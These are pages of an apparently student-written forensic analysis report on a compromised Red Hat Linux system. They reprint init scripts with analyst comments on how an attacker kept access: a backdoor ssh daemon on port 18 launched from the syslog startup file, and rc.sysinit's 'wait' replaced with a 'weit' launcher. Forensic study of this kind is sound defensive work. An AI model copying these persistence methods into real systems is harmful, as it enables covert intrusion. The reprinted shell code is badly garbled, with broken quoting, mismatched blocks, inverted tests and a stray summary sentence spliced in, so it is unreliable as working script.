  --force)
    force="force"
    shift
    ;;
  [0-9]*)
    nice="nice -n $1"
    shift
    ;;
  *)
    echo "$0: Usage: demon [+/ -nicelevel] {program}"
    return 1;;
  esac
  gotbase="yes"
  base=${1##--}
  shift
  ;;
  if [ "$gotbase" = "yes" ]; then
    gotbase="yes"
    base=
    shift
    ;;
  fi
  set -- "$2"
  [[ ""$gotbase"" == "yes" ]] &&
  if [ "$force" = "force"
  then
    if [ -x $base ]; then
      $base $@
      force=
    else
      echo "Error: $base is not executable"
      return 1
    fi
  else
    echo "$0: Usage: demon [+/ -nicelevel] {program}"
    return 1
  fi
  ;;
  if [ "$gotbase" = "yes" ]; then
    echo "$0: Usage: demon [+/ -nicelevel] {program}"
    return 1
  fi
  # Other cases
  ;;
  esac
}
esac
done

# Save basename.
[ -z "$gotbase" ] && base=${1##*/}

# See if it's already running. Look 'only' at the pid file.
pid=`pidfileofproc $base`
[ -n "${pid:-"}" -a -z "${force:-"}" ] && return

# make sure it doesn't core dump anywhere; while this could mask
# problems with the daemon, it also closes some security problems
ulimit -S -c 0 >/dev/null 2>&1

# Echo daemon
[ "${BOOTUP:-"}" = "verbose" -a -z "${LSB}" ] && echo -n "$base"

# And start it up.
if [ -z "$user" ]; then
    $nice initlog $INITLOG_ARGS -c "$*
else
    $nice initlog $INITLOG_ARGS -c "su -s /bin/bash -c "su -c "
fi
[ "$?" -eq 0 ] && success "$base startup" || failure "$base startup"

# A function to stop a program.
killproc() {
    RC=0
        # Test syntax.
    if [ "$#" -eq 0 ]; then
        echo "Usage: killproc [program] [signal]"
        return 1
    fi
    notset=0
    # check for second arg to be kill level
    if [ "$2" != "" ]; then
        killlevel=$2
    else
        notset=1
        killlevel="-9"
    fi

    # Save basename.
    base=${1##*/}

    # Find pid.
    pid=`pidofproc $1`
    if [ -z "$pid" ]; then
        pid=`pidfileofproc $base`
        if [ -n "$pid" ]; then
            if checkpid $pid 2>&1; then
                # TERM is ok
                kill -TERM $pid
                usleep 100000
            else
                # TERM first, then KILL if not dead
                kill -TERM $pid
                usleep 100000
                if checkpid $pid && sleep 1 &&
                checkpid $pid && sleep 3 &&
                checkpid $pid ; then
                    kill -KILL $pid
                fi
            fi
        fi
    fi
}
checkpid $pid
RC=$?
[ "$RC" -eq 0 ] && failure "$base shutdown" || success "$base shutdown"
RC=$((! $RC))
# use specified level only
else
    if checkpid $pid >/dev/null 2>&1; then
        kill $killlevel $pid
        RC=$?
        [ "$RC" -eq 0 ] && success "$base $killlevel" || failure "$base $killlevel"
    fi
fi
else
    failure "$base shutdown"
    RC=1
fi
# Remove pid file if any.
if [ "$notset" = "1" ]; then
    rm -f /var/run/$base.pid
fi
return $RC
}

# A function to find the pid of a program. Looks *only* at the pidfile
pidfileofproc() {
    local base=${1##*/}
    local pid

    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "Usage: pidfileofproc {program}"
        return 1
    fi

    # First try "/var/run/*.pid" files
    if [ ! -f /var/run/$base.pid ] ; then
        local line p pid=
        read line < /var/run/$base.pid
        for p in $line ; do
            if [ -z "${p//\[0-9]/}" -a -d /proc/$p ] && pid="$pid $p"
        done
        if [ -n "$pid:-" ] ; then
            echo $pid
            return 0
        fi
    fi
}

# A function to find the pid of a program.
pidofproc() {
    base=${1##*/}

    # Test syntax.
    if [ "$#" = 0 ] ; then
        echo "$base: pidofproc {program}"
        return 1
    fi

    # First try "/var/run/*.pid" files
    if [ ! -f /var/run/$base.pid ] ; then
        local line p pid=
        read line < /var/run/$base.pid
        for p in $line ; do
            if [ -z "${p//\[0-9]/}" -a -d /proc/$p ] && pid="$pid $p"
        done
        if [ -n "$pid:-" ] ; then
            echo $pid
            return 0
        fi
    fi
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 219

```
fi

# Next try "pidof"
pidof -o $$ -o $PPID -o %PPID -x $1 || 
  pidof -o $$ -o $PPID -o %PPID -x $({base})

status() {
  local base=${1##*/}
  local pid

  # Test syntax.
  if [ "#$#" = 0 ] ; then
    echo "$Usage: status [program]"
    return 1
  fi

  # First try "pidof"
  pid=`pidof -o $$ -o $PPID -o %PPID -x $1 || 
    pidof -o $$ -o $PPID -o %PPID -x $({base})`
  if [ "$pid" != "" ] ; then
    echo "$({base}) (pid $pid) is running..."
    return 0
  fi

  # Next try "/var/run/*.pid" files
  if [ -f /var/run/${base}.pid ] ; then
    read pid < /var/run/${base}.pid
    if [ "$pid" != "" ] ; then
      echo "$({base}) dead but pid file exists"
      return 1
    fi
  fi

  # See if /var/lock/subsys/${base} exists
  if [ -f /var/lock/subsys/${base} ] ; then
    echo "$({base}) dead but subsys locked"
    return 2
  fi

  echo "$({base}) is stopped"
  return 3
}

echo_success() {
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n "[
  [ "$BOOTUP" = "color" ] && $SETCOLOR_SUCCESS
  echo -n "$OK"
  [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
  echo -n " ]"
  echo -ne \r
  return 0
}

echo_failure() {
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n "["
  [ "$BOOTUP" = "color" ] && $SETCOLOR_FAILURE
  echo -n "$FAILED"
  [ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
  echo -n " ]"
  echo -ne \r
  return 1
}

echo_passed() {
  [ "$BOOTUP" = "color" ] && $MOVE_TO_COL
  echo -n "[
  [ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
echo -n "$PASSED"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -n ""
echo -ne "\n"
return 1
}

echo_warning() {
[ "$BOOTUP" = "color" ] && $MOVE_TO_COL
echo -n "[
[ "$BOOTUP" = "color" ] && $SETCOLOR_WARNING
echo -n "$WARNING"
[ "$BOOTUP" = "color" ] && $SETCOLOR_NORMAL
echo -ne "\n"
return 1
}

# Log that something succeeded
success() {
if [ -z "$(IN_INITLOG:-)" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
  # silly hack to avoid EPIPE killing rc.sysinit
  trap "" SIGPIPE
echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_success
return 0
}

# Log that something failed
failure() {
rc=$?
if [ -z "$(IN_INITLOG:-)" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 2
else
  trap "" SIGPIPE
echo "$INITLOG_ARGS -n $0 -s "$1" -e 2" >&21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_failure
return $rc
}

# Log that something passed, but may have had errors. Useful for fsck
passed() {
rc=$?
if [ -z "$(IN_INITLOG:-)" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
  trap "" SIGPIPE
echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
  trap - SIGPIPE
fi
[ "$BOOTUP" != "verbose" -a -z "$LSB" ] && echo_passed
return $rc
}

# Log a warning
warning() {
rc=$?
if [ -z "$(IN_INITLOG:-)" ]; then
  initlog $INITLOG_ARGS -n $0 -s "$1" -e 1
else
  trap "" SIGPIPE
echo "$INITLOG_ARGS -n $0 -s "$1" -e 1" >&21
  trap - SIGPIPE

EnCase Computer Analysis Report

#!/bin/bash
#
# syslog Starts syslogd/klogd.
#
# chkconfig: 2345 20 88
# description: Syslog is the facility by which many daemons use to log

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/.s directory. The nfsd is an ssh daemon listening for connection on port 18.
messages to various system log files. It is a good idea to always \ # run syslog.
### BEGIN INIT INFO
# Provides: syslog
### END INIT INFO

# Source function library.
. /etc/init.d/functions

[ -f /sbin/syslogd ] || exit 0
[ -f /sbin/klogd ] || exit 0

# Source config
if [ -f /etc/sysconfig/syslog ]; then
  . /etc/sysconfig/syslog
else
  SYSLOGD_OPTS="-m 0"
  KLOGD_OPTS="-2"
fi

RETVAL=0

umask 077

start() {
  echo -n "$syslogd: "$;
  daemon syslogd $SYSLOGD_OPTS
  RETVAL=$?
  echo -n "$klogd: "$;
  daemon klogd $KLOGD_OPTS
  echo

  [ $RETVAL -eq 0 ] && touch /var/lock/subsys/syslog
  return $RETVAL
}

stop() {
  echo -n "$syslogd: "$;
  killproc syslogd
  echo -n "$klogd: "$;
  killproc klogd
  echo

  [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/syslog
  return $RETVAL
}

rhstatus() {
  status syslogd
  status klogd
}

restart() {
  stop
  start
}

case "$1" in
  start)
    start
  ;;
  stop)
    stop
  ;;
  status)
    rhstatus
  ;;
  restart|reload)
    restart
  ;;
  condrestart)
38) Name rc.sysinit
Description File
Full Path /etc/rc.d/rc.sysinit
Entry Modified 06/29/03 03:22:09PM
Last Accessed 06/30/03 04:45:40PM
Last Written 06/29/03 03:22:09PM
Hash Value ee965268d25b94ed0ffeb16dbe5be890
Physical Size 22,528
Logical Size 22,379

Comment: The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "weit". The weit file is located in /usr/sbin/ directory and calles popauth, an executable in the /x directory.

#!/bin/bash
#
#/etc/rc.sysinit - run once at boot time
#
# Taken in part from Miquel van Smoorenburg's bcheckrc.
#
# Rerun ourselves through initlog
if [-z "$IN_INITLOG" ]; then
  [ -f /sbin/initlog ] && exec /sbin/initlog $INITLOG_ARGS -r /etc/rc.sysinit
fi

# If we're using devfs, start devfsd now - we need the old device names
[ -e /dev/.devfsd -a -x /sbin/devfsd ] && /sbin/devfsd /dev

# Set the path
PATH=/bin:/sbin:/usr/bin:/usr/sbin
export PATH
HOSTNAME="/bin/hostname"

# Read in config data.
if [ -f /etc/sysconfig/network ]; then
  . /etc/sysconfig/network
else
  NETWORKING=no
fi

if [-z "$HOSTNAME" -o "$HOSTNAME" = "(none)" ]; then
  HOSTNAME=localhost
fi

# Source functions
. /etc/init.d/functions

# Print a banner. ;)
echo -en "$\t\tWelcome to 
if grep -q "Red Hat" /etc/redhat-release ; then

[ -f /var/lock/subsys/syslog ] && restart || :

echo "$Usage: $0 {start|stop|status|restart|condrestart}"
exit 1
esac

exit $?
EnCase Computer Analysis Report

Sans GCFA Cert Assignment:

EnCase Computer Analysis Report

Page 224

[$BOOTUP" = "color" ] && echo \"033[1;31m\"$\"\"033[0;39m\" \n\nif [ "$BOOTUP" = "color" ] && echo \"033[1;31m\"$\"\"033[0;39m\" echo "$PRODUCT" fi

PRODUCT=`sed s/Red Hat \{.*\} release/\"\" /etc/redhat-release`

echo "$PRODUCT"

if [ "$PROMPT" != "no" ]; then
  echo -en $"	Press 'I' to enter interactive startup."
  sleep 1
fi

# Fix console loglevel
/bin/dmesg -n $LOGLEVEL

# Mount /proc (done here so volume labels can work with fsck)
action "$Mounting proc filesystem: " mount -n -t proc /proc /proc

# Unmount the initrd, if necessary
if grep -q /initrd /proc/mounts && ! grep -q /initrd/loopfs /proc/mounts ; then
  umount /initrd/dev
fi

action "$Unmounting initrd: " umount /initrd

/sbin/blockdev --flushbufs /dev/ram0 >/dev/null 2>&1

# Configure kernel parameters
action "$Configuring kernel parameters: " sysctl -e /etc/sysctl.conf

# Set the system clock.
ARC=0
SRM=0
UTC=0

if [ -f /etc/sysconfig/clock ]; then
  . /etc/sysconfig/clock
  # convert old style clock config to new values
  if [ "${CLOCKMODE}" = "GMT" ]; then
    UTC=true
  elif [ "${CLOCKMODE}" = "ARC" ]; then
    ARC=true
  fi
  CLOCKDEF=""
  CLOCKFLAGS="$CLOCKFLAGS --hctosys"
  case "$UTC" in
    yes|true)
      CLOCKFLAGS="$CLOCKFLAGS --utcoffset"
      CLOCKDEF="$CLOCKDEF (utc)"
      ;
    no|false)
      CLOCKFLAGS="$CLOCKFLAGS --localtime"
      CLOCKDEF="$CLOCKDEF (localtime)"
      ;
  esac
  case "$ARC" in
    yes|true)
      CLOCKFLAGS="$CLOCKFLAGS --arc"
      CLOCKDEF="$CLOCKDEF (arc)"
      ;
EnCase Computer Analysis Report

Sans GCFA Cert Assignment: EnCase Computer Analysis Report

Page 225

```bash
 esac
 case "$SRM" in
  yes|true)
    CLOCKFLAGS="--srm";
    CLOCKDEF="(srm)";
 esac

/sbin/hwclock $CLOCKFLAGS

action "Setting clock $CLOCKDEF: `date`" date

if [ ""/sbin/consoletype" = "vt" ]; then

  # Load keymap
  if [ -x /bin/loadkeys ]; then
    KEYTABLE=
    KEYMAP=/etc/sysconfig/console/default.kmap
  else
    if [ -f /etc/sysconfig/keyboard ]; then
      . /etc/sysconfig/keyboard
      fi
    if [ -n "$KEYTABLE" ]; then
      # Since this takes in/output from stdin/out, we can't use initlog
      if [ -n "$KEYTABLE" ]; then
        echo "Loading default keymap ($KEYTABLE): "
      else
        echo "Loading default keymap:"
      fi
      loadkeys $KEYMAP < /dev/tty0 > /dev/tty0 2>/dev/null &&
      success "Loading default keymap" || failure "Loading default keymap"
      echo
    fi
  fi

  # Load system font
  if [ -x /sbin/setsysfont ]; then
    if [ -f /etc/sysconfig/i18n/i18n ] && . /etc/sysconfig/i18n
      if [ -f /etc/sysconfig/console/$SYSFONT.psf.gz ]; then
        /sbin/setsysfont
      else
        /sbin/setsysfont
      fi
    fi

  # Start up swapping.
  action "Activating swap partitions: " swapon -a -e

  # Set the hostname.
  action "Setting hostname $HOSTNAME: " hostname $HOSTNAME

  # Initialize USB controller and HID devices
  usbdevs0
  if ! grep -iq "nousb" /proc/cmdline 2>/dev/null &&
  grep "usb" /proc/devices 2>/dev/null; then
    aliases= /sbin/modprobe -c | awk '/alias usb-controller/ { print $3 }'
    if [ -n "$aliases" ]; then
      modprobe usbcore
      action "Mounting USB filesystem: " mount -t usbdevfs usbdevfs /proc/bus/usb
```
for alias in $aliases ; do
    [ "$alias" != "off" ] && action "Initializing USB controller ($alias): " modprobe $alias
done
    [ $? -eq 0 -a $aliases ] && usb=1
fi
fi

if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
    usb=1
fi

needusbstorage=
if [ $usb = "1" ]; then
    sleep 5
    mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=02"`
    kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=01"`
    needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e "^I.*Cls=08"`
    if [ -n "$kbdoutput" ] || [ -n "$mouseoutput" ]; then
        action "Initializing USB HID interface: " modprobe hid 2> /dev/null
    fi
    if [ -n "$kbdoutput" ]; then
        action "Initializing USB keyboard: " modprobe keybdev
    fi
    if [ -n "$mouseoutput" ]; then
        action "Initializing USB mouse: " modprobe mousedev
    fi
fi

if [ ! -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null ; then
    fastboot=yes
else
    fastboot=
fi

if [ ! -f /fsckoptions ]; then
    fsckoptions=`cat /fsckoptions`
else
    fsckoptions=
fi

if [ ! -f /forcefsck ]; then
    fsckoptions="-f $fsckoptions"
elif [ ! -f /.autofsck ]; then
    echo "$Your system appears to have shut down uncleanly"
    AUTOFSCK_TIMEOUT=5
    AUTOFSCK_DEF_CHECK=no
    [ -f /etc/sysconfig/autofsck ] && . /etc/sysconfig/autofsck
    if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
        AUTOFSCK_OPT=-f
    else
        AUTOFSCK_OPT=
    fi
else
    if [ "$PROMPT" != "no" ] ; then
        if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
            if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$Press N within \d seconds to not force file system integrity check..." n ; then
                AUTOFSCK_OPT=
            else
                if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$Press Y within \d seconds to force file system integrity check..." y ; then
                    AUTOFSCK_OPT=-f
                fi
            fi
        else
            echo
        else
The code provided is a script that checks for USB devices, initializes them if necessary, and handles fastboot and fsck options. It includes logic to check for the presence of certain devices, perform actions based on those checks, and handle user prompts for file system integrity checks.
# PROMPT not allowed
if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
    echo "$Forcing file system integrity check due to default setting"
else
    echo "$Not forcing file system integrity check due to default setting"
fi

fsckoptions="$AUTOFSCK_OPT $fsckoptions"
fi

if [ "$BOOTUP" = "color" ]; then
    fsckoptions="-C $fsckoptions"
else
    fsckoptions="-V $fsckoptions"
fi

_RUN_QUOTACHECK=0
ROOTFSTYPE=`grep " /" /proc/mounts | awk '{ print $3 }'`
if [ -z "$fastboot" -a "$ROOTFSTYPE" != "nfs" ]; then
    STRING=$"Checking root filesystem"
    echo "$STRING"
    initlog -c "fsck -T $fsckoptions /
rc=$?
    if [ "$rc" = "0" ]; then
        success "$STRING"
    else
        passed "$STRING"
        echo
    fi

    # A return of 2 or higher means there were serious problems.
    if [ "$rc" -gt 1 ]; then
        failure "$STRING"
        echo
        echo $**** An error occurred during the file system check.
        echo $**** Dropping you to a shell; the system will reboot
        echo $**** when you leave the shell.
        PS1="$'(Repair filesystem) 
        # " #"; export PS1
        sulogin
        echo "$Unmounting file systems"
        umount -a
        mount -n -o remount,ro /
        echo "$Automatic reboot in progress."
        reboot -f
    else
        _RUN_QUOTACHECK=1
    fi

    # Possibly update quotas if fsck was run on ./.
    grep -E '[[[:space:]]]*[[[:space:]]]*+/etc/\fstab | \ awk '/print $4 )' | \ grep -q quota

    _ROOT_HAS_QUOTA=0
    if [ X"_RUN_QUOTACHECK" = X1 -a
        "_ROOT_HAS_QUOTA" -a
        -x /sbin/quotacheck ]; then
        if [ -x /sbin/convertquota ]; then
            if [ -f /quota.user ]; then
                action "$Converting old user quota files: \
                /sbin/convertquota -u / & & rm -f /quota.user
            fi
        fi
if [-f /quota.group ]; then
    action "$Converting old group quota files: "$ \
    /sbin/convertquota -g / && rm -f /quota.group
fi

# check for arguments passed from kernel
if grep -iq nogrp /proc/cmdline >/dev/null 2>&1 ; then
    PNP=
else
    PNP=yes
fi

# set up pnp
if [-x /sbin/isapnp -a -f /etc/isapnp.conf -a ! -f /proc/isapnp ]; then
    if [ -n "$PNP" ]; then
        action "$Setting up ISA PNP devices: "$ /sbin/isapnp /etc/isapnp.conf
    else
        action "$Skipping ISA PNP configuration at users request: "$ /bin/true
    fi
fi

# Remount the root filesystem read-write.
state=`awk '/(^/dev/|/root|/ )/ { print $4 }' /proc/mounts`
[ "$state" != "rw" ] &&
    action "$Remounting root filesystem in read-write mode: "$ mount -n -o remount,rw /

# LVM initialization
if [-e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
    action "$Setting up Logical Volume Management:" /sbin/vgscan && /sbin/vgchange -a y
fi

# Clear mtab
>/etc/mtab

# Remove stale backups
rm -f /etc/mtab* /etc/mtab--

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -o /proc
mount -o /proc [ -f /proc/bus/usb/devices ] && mount -o -t usbdevfs usbdevfs /proc/bus/usb
[ -e /dev/.devfsd ] && mount -o -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [ -n "$IN_INITLOG" ]; then
    IN_INITLOG=
fi

if ! grep -iq nomodu /proc/cmdline >/dev/null 2>&1 && [ -f /proc/ksyms ]; then
    USEMODULES=y
else
    USEMODULES=
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred
rm -f /lib/modules/default
if [-x /sbin/depmod -a -n "$USEMODULES" ]; then
    # If they aren't using a recent sane kernel, make a link for them
    if [ ! -n "uname -r | grep -- "^-y" ] ; then
        ktag="`cat /proc/version`"
        mtag=`grep -l "$ktag" /lib/modules/*/.rhkmvtag 2>/dev/null`
        /sbin/depmod -a $tag $mtag
    fi
fi
if [ -n "$mtag" ]; then
  mver=`echo $mtag | sed -e 's,/lib/modules/,,g' -e 's,.rhkmvtag,,g' -e 's,\[ \].*$,,'`
  
  if [ -n "$mver" ]; then
    ln -sf /lib/modules/$mver /lib/modules/default
  fi
fi

if [ -L /lib/modules/default ]; then
  INITLOG_ARGS= action $"Finding module dependencies: "$ depmod -A default
else
  INITLOG_ARGS= action $"Finding module dependencies: "$ depmod -A
fi

# tweak isapnp settings if needed.
if [ -n "$PNP" -a -f /proc/isapnp ]; then
  /sbin/sndconfig --mungepnp >/dev/null 2>&1
fi

# Load sound modules iff they need persistent DMA buffers
if grep -q "options sound dmabuf=1" /etc/modules.conf 2>/dev/null ; then
  RETURN=0
  alias=`/sbin/modprobe -c | awk '/^alias sound / { print $3 }'`
  if [ -n "$alias" -a "$alias" != "off" ] ; then
    action $"Loading sound module ($alias): " modprobe sound
    RETURN=$?
  fi
  alias=`/sbin/modprobe -c | awk '/^alias sound-slot 0 / { print $3 }'`
  if [ -n "$alias" -a "$alias" != "off" ] ; then
    action $"Loading sound module ($alias): " modprobe sound-slot 0
    RETURN=$?
  fi
fi

if [ -f /proc/sys/kernel/modprobe ]; then
  if [ -n "$USEMODULES" ]; then
    sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
  else
    # We used to set this to NULL, but that causes 'failed to exec' messages
    sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
  fi
fi

# Load modules (for backward compatibility with VARs)
if [ -f /etc/rc.modules ]; then
  /etc/rc.modules
fi

# Add raid devices
if [ ! -f /proc/mdstat ]; then
  modprobe md >/dev/null 2>&1
fi

if [ -f /proc/mdstat -a -f /etc/raidtab ]; then
  echo -n "$"Starting up RAID devices: ">
  rc=0
  for i in `grep "^[\^]\[|^]*raiddev" /etc/raidtab | awk '{print $2}'`
  do
    RAIDDEV=`basename $i`
    RAIDSTAT=`grep "^[\$]RAIDDEV : active" /proc/mdstat`
    if [ -x "$RAIDSTAT" ] ; then
      # First scan the /etc/fstab for the "noauto"-flag
      # for this device. If found, skip the initialization
      # for it to avoid dropping to a shell on errors.
    fi
  done
fi
# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "^\$i" /etc/fstab | grep -c "noauto"`
if [ $NOAUTO -gt 0 ]; then
  RESULT=0
  RAIDDEV="$RAIDDEV(skipped)"
fi
if [ $RESULT -gt 0 -a -x /sbin/raidstart ]; then
  /sbin/raidstart \$i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raid0run ]; then
  /sbin/raid0run \$i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raidadd -a -x /sbin/raidrun ]; then
  /sbin/raidadd \$i
  /sbin/raidrun \$i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  rc=1
  echo -n "$RAIDDEV 
else
echo -n "$RAIDDEV 
fi
done
echo
# A non-zero return means there were problems.
if [ \$rc -gt 0 ]; then
  echo
  echo "$*** An error occurred during the RAID startup"
  echo "$*** Dropping you to a shell; the system will reboot"
  echo "$*** when you leave the shell."

  PS1="$"("RAID Repair) \# "; export PS1
  sulogin
  echo "$"("Unmounting file systems"
  umount -a
  mount -o remount,ro /
  echo "$"("Automatic reboot in progress."
  reboot -f
  fi

# LVM initialization, take 2 (it could be on top of RAID)
if [ -e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
  action "$"("Setting up Logical Volume Management:" /sbin/vgscan & & /sbin/vgchange -a y
fi
_RUN_QUOTACHECK=0
# Check filesystems
if [ -z "$fastboot" ]; then
  STRING="$"("Checking filesystems"
  echo "$STRING"
  initlog -c "$fsck -T -R -A -a $fsckoptions"
  rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
  elif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  fi
# A return of 2 or higher means there were serious problems.
if [ $rc -gt 1 ]; then
  failure "STRING"
  echo
  echo $*** An error occurred during the file system check."
  echo $*** Dropping you to a shell; the system will reboot"
  echo $*** when you leave the shell."

PS1="$"{Repair filesystem} \# \# "; export PS1

su
login

# Unmounting file systems
umount -a
mount -n -o remount,ro /

# Automatic reboot in progress.
reboot -f

elif [ "$rc" = "1" ] -a -x /sbin/quotacheck ]; then
  _RUN_QUOTACHECK=1
fi
fi

# Mount all other filesystems (except for NFS and /proc, which is already
# mounted). Contrary to standard usage,
# filesystems are NOT unmounted in single user mode.
action "$Mounting local filesystems: " mount
  -a -t nonfs,smbfs,ncpfs
  -O no_netdev

# check remaining quotas other than root
if [ -x /sbin/quotacheck ]; then
  if [ -x /sbin/convertquota ]; then
    # try to convert old quotas
    for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'; do
      if [ -f "$mountpt/quota.user" ]; then
        action "$Converting old user quota files: " \
        /sbin/convertquota -u $mountpt \
        rm -f $mountpt/quota.user
      fi
    done

    action "$Checking local filesystem quotas: " /sbin/quotacheck -aRnug
  fi
fi

if [ -x /sbin/quotaon ]; then
  action "$Enabling local filesystem quotas: " /sbin/quotaon --aug
fi

# Configure machine if necessary.
if [ -f /.unconfigured ]; then
  if [ -x /usr/bin/passwd ]; then
    /usr/bin/passwd root
  fi
  if [ -x /usr/sbin/netconfig ]; then
    /usr/sbin/netconfig
  fi
  if [ -x /usr/sbin/timeconfig ]; then
    /usr/sbin/timeconfig
  fi
  if [ -x /usr/sbin/kbdconfig ]; then
    /usr/sbin/kbdconfig
  fi
  if [ -x /usr/sbin/authconfig ]; then
    /usr/sbin/authconfig --nostart
  fi

  _RUN_QUOTACHECK=0
fi
```bash
fi
if [ -x /usr/sbin/ntsysv ]; then
    /usr/sbin/ntsysv --level 35
fi

# Reread in network configuration data.
if [ ! -f /etc/sysconfig/network ]; then
    . /etc/sysconfig/network
# Reset the hostname.
action "Resetting hostname ${HOSTNAME}: ": " hostname ${HOSTNAME}: 
    rm -f .unconfigured
fi

# Clean out /etc.
rm -f /fastboot /forcefsck /autofsck /halt /poweroff

# Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...
_NEED_XFILES=
    [ -f /var/run/utmpx -o -f /var/log/wtmpx ] && _NEED_XFILES=1

# Clean up /var
# I'd use find, but /usr may not be mounted.
for afile in /var/lock/* /var/run/*; do
    if [ -d "$afile" ]; then
        [ "basename $afile" != "news" -a "basename $afile" != "sudo" -a "basename $afile" != "mon" ] && rm -f $afile/
    else
        rm -f $afile
    fi
done

rm -f /var/lib/rpm/__db*

# Reset pam_console permissions
[ -x /sbin/pam_console_apply ] && /sbin/pam_console_apply -r

# Clean up utmp/wtmp
> /var/run/utmp
    touch /var/log/wtmp
    chgrp utmp /var/run/utmp /var/log/wtmp
    chmod 0664 /var/run/utmp /var/log/wtmp
if [ ! "$NEED_XFILES" ]; then
    > /var/run/utmpx
    touch /var/log/wtmpx
    chgrp utmp /var/run/utmpx /var/log/wtmpx
    chmod 0664 /var/run/utmpx /var/log/wtmpx
fi

# Delete X locks
rm -f /tmp/.X*lock

# Delete VNC & X locks
rm -rf /tmp/.X*unix

# Delete Postgres sockets
rm -f /tmp/.s.PGSQL*

# Now turn on swap in case we swap to files.
swapon -a
action "Enabling swap space: ": " /bin/true

# Initialize the serial ports.
if [ ! -f /etc/rc.serial ]; then
    /etc/rc.serial
fi
```

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
# If a SCSI tape has been detected, load the st module unconditionally
# since many SCSI tapes don't deal well with st being loaded and unloaded
if [ -f /proc/scsi/scsi ] && grep -q 'Type: Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
    grep -qv ' 9 st' /proc/devices ; then
        # Try to load the module. If it fails, ignore it...
        insmod -p st >/dev/null 2>&1 && modprobe st >/dev/null 2>&1
    fi
fi
fi

# Load usb storage here, to match most other things
if [ -n "$needusbstorage" ] ; then
    modprobe usb-storage >/dev/null 2>&1
fi
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
    modprobe ide-cd >/dev/null 2>&1
    modprobe ide-scsi >/dev/null 2>&1
fi
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [ -e /proc/ide ] ; then
    for N in `grep -v ide-disk /proc/ide/*/*/driver 2>/dev/null | awk '{ print $5 }'`; do
        hdparm -q -d0 /dev/$N >/dev/null 2>&1
    done
fi
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisks for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisks to
# /etc/sysconfig/harddiskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
if [ -x /sbin/hdparm ] ; then
    for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
        unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
        if [ -f /etc/sysconfig/harddisk$[disk[$device]] ]; then
            . /etc/sysconfig/harddisk$[disk[$device]]

            # Let HDFLAGS get the special parameters
            if [ -n "$MULTIPLE_IO" ]; then
                HDFLAGS[$device]="-q "$MULTIPLE_IO"
            fi
            if [ -n "$USE_DMA" ]; then
                HDFLAGS[$device]="-q "$USE_DMA"
            fi
            if [ -n "$EIDE_32BIT" ]; then
                HDFLAGS[$device]="-q "$EIDE_32BIT"
            fi
            if [ -n "$LOOKAHEAD" ]; then
                HDFLAGS[$device]="-q "$LOOKAHEAD"
            fi
